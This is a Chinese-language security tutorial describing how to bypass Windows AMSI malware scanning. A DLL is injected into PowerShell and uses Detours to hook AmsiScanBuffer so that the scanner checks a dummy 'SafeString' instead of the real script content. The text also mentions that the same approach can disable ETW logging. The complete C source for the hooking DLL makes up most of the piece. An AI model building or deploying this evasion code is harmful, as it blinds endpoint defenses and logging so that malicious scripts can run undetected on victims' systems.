# 基于API Hook和DLL注入的AMSI绕过

## 简介

前面我们有详细的介绍过AMSI的原理和基于内存补丁的绕过方法，这次我们介绍一种略微复杂的方法，同时这种方法也可以应用于各种场景，前面我们有介绍过通过微软开源库[Detours](https://idiotc4t.com/persistence/detous-inline-hook)的inLineHook和[进程注入](https://idiotc4t.com/code-and-dll-process-injection/createremotethread)的dll注入，这次我们把这两种技术做一个组合，来实现amsi的绕过，同样的思路也可以对 EtwEventWrite进行修补，使其丧失记录日志能力。

## 流程

1. 编写一个hook AmsiScanBuffer的dll
2. 使用[dll注入](https://idiotc4t.com/code-and-dll-process-injection/createremotethread#42-dll-zhu-ru)进powershell进程
3. 完成绕过

## 代码

dll注入的代码延用[CreateRemoteThrea](https://idiotc4t.com/code-and-dll-process-injection/createremotethread)的代码。

```
#include <Windows.h>
#include <stdio.h>
#include <amsi.h>
#include "include/detours.h"
#pragma comment(lib, "amsi.lib")
#pragma comment(lib,"lib.X64/detours.lib")

#define SafeString "SafeString"

static HRESULT(WINAPI* _AmsiScanBuffer)(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result
    ) = AmsiScanBuffer;

HRESULT WINAPI AmsiScanBuffer_(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result
) 
{
    return _AmsiScanBuffer(amsiContext, (BYTE*)SafeString, length, contentName, amsiSession, result);
}


BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
        DetourTransactionCommit();
        printf("hook ok\n");
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)_AmsiScanBuffer, AmsiScanBuffer_);
        DetourTransactionCommit();
        break;
    }
    return TRUE;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MAG6eDraVNDl1LnRDTN%2F-MAG70jDsaPwiYHIBhHG%2Fimage.png?alt=media\&token=2dff4bcf-a459-47b1-9ccf-068db51367d3)

## LINKS

{% embed url="<https://x64sec.sh/understanding-and-bypassing-amsi/>" %}
